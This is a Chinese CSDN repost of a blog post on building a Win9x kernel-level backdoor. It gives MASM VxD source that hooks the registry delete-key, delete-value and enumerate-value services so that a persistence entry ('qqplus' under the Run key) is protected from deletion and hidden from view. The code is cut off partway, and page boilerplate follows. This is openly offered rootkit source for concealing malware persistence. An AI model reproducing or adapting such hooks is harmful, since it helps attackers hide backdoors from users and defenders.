win9x内核后门开发技术之注册表保护

本文介绍了在Win9x环境下开发内核级后门,通过注册表保护技术实现隐藏关键键值和防止主键被删除。作者czy分享了驱动加载文件代码,包括钩子函数来拦截RegDELKey、RegDELvalue和RegEnumvalue操作。此外,还提供了一个名为load.exe的程序,用于安装和卸载文件系统API钩子。
摘要由CSDN通过智能技术生成

作者:czy

www.chinansl.com/czy/reg.rar

驱动加载文件代码在最后


win9x内核后门开发技术之注册表保护
                                                         czy82于03.06
;在f-king这儿第一次发出来,其实在隐藏注册表键值这儿还是有小问题
;注册表保护操作,隐藏注册表键值,保护特殊键值,主键不被删除
;开发环境98ddk,masm6.1
.386p

.XLIST

INCLUDE VMM.Inc
INCLUDE ../../inc/win98/vwin32.inc
include ../../inc/win98/vmmreg.inc
INCLUDE Shell.Inc

.LIST

;VxD声明

Declare_Virtual_Device REG,1,0,VxD_Control,Undefined_Device_ID,UNDEFINED_INIT_ORDER

VxD_LOCKED_DATA_SEG
RealRegDELKey      dd 0
RealRegDELvalue      dd 0
RealRegEnumvalue dd 0
pPrevHookEnumKey dd 0
szvalue             dd 0h
RetAddr            dd 0h
Retvalue      dd 0h
VxD_LOCKED_DATA_ENDS

VxD_PAGEABLE_DATA_SEG
    MsgTitle      db "VxD MessageBox",0
    open      db "open this key",0
    PathName      db "Software/Microsoft/Windows/CurrentVersion/Run",0
    valueName      db "qqplus",0
    openpath  db 0
    sKeyNameForEnum db "czy",0
VxD_PAGEABLE_DATA_ENDS


VxD_CODE_SEG

;系统控制过程

BeginProc VxD_Control
Control_Dispatch W32_DEVICEIOCONTROL,VxD_IOCTL
clc
ret
EndProc VxD_Control




BeginProc HookRegDELKey, service, hook_proc, RealRegDELKey, locked
        ArgVar hkey, DWORD
        ArgVar lpszSubKey, DWORD
        EnterProc                          

       VMMCall _lstrcmpi, <OFFSET32 PathName, dword ptr [lpszSubKey]>      
     cmp     eax, 0            
        jne      @@notmykey
        
        LeaveProc
     Return            
      
@@notmykey:

     LeaveProc
     jmp      [RealRegDELKey]
     Return      
EndProc HookRegDELKey

BeginProc HookRegDELvalue, service, hook_proc, RealRegDELvalue, locked
        ArgVar hkey, DWORD
        ArgVar lpszvalue, DW

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值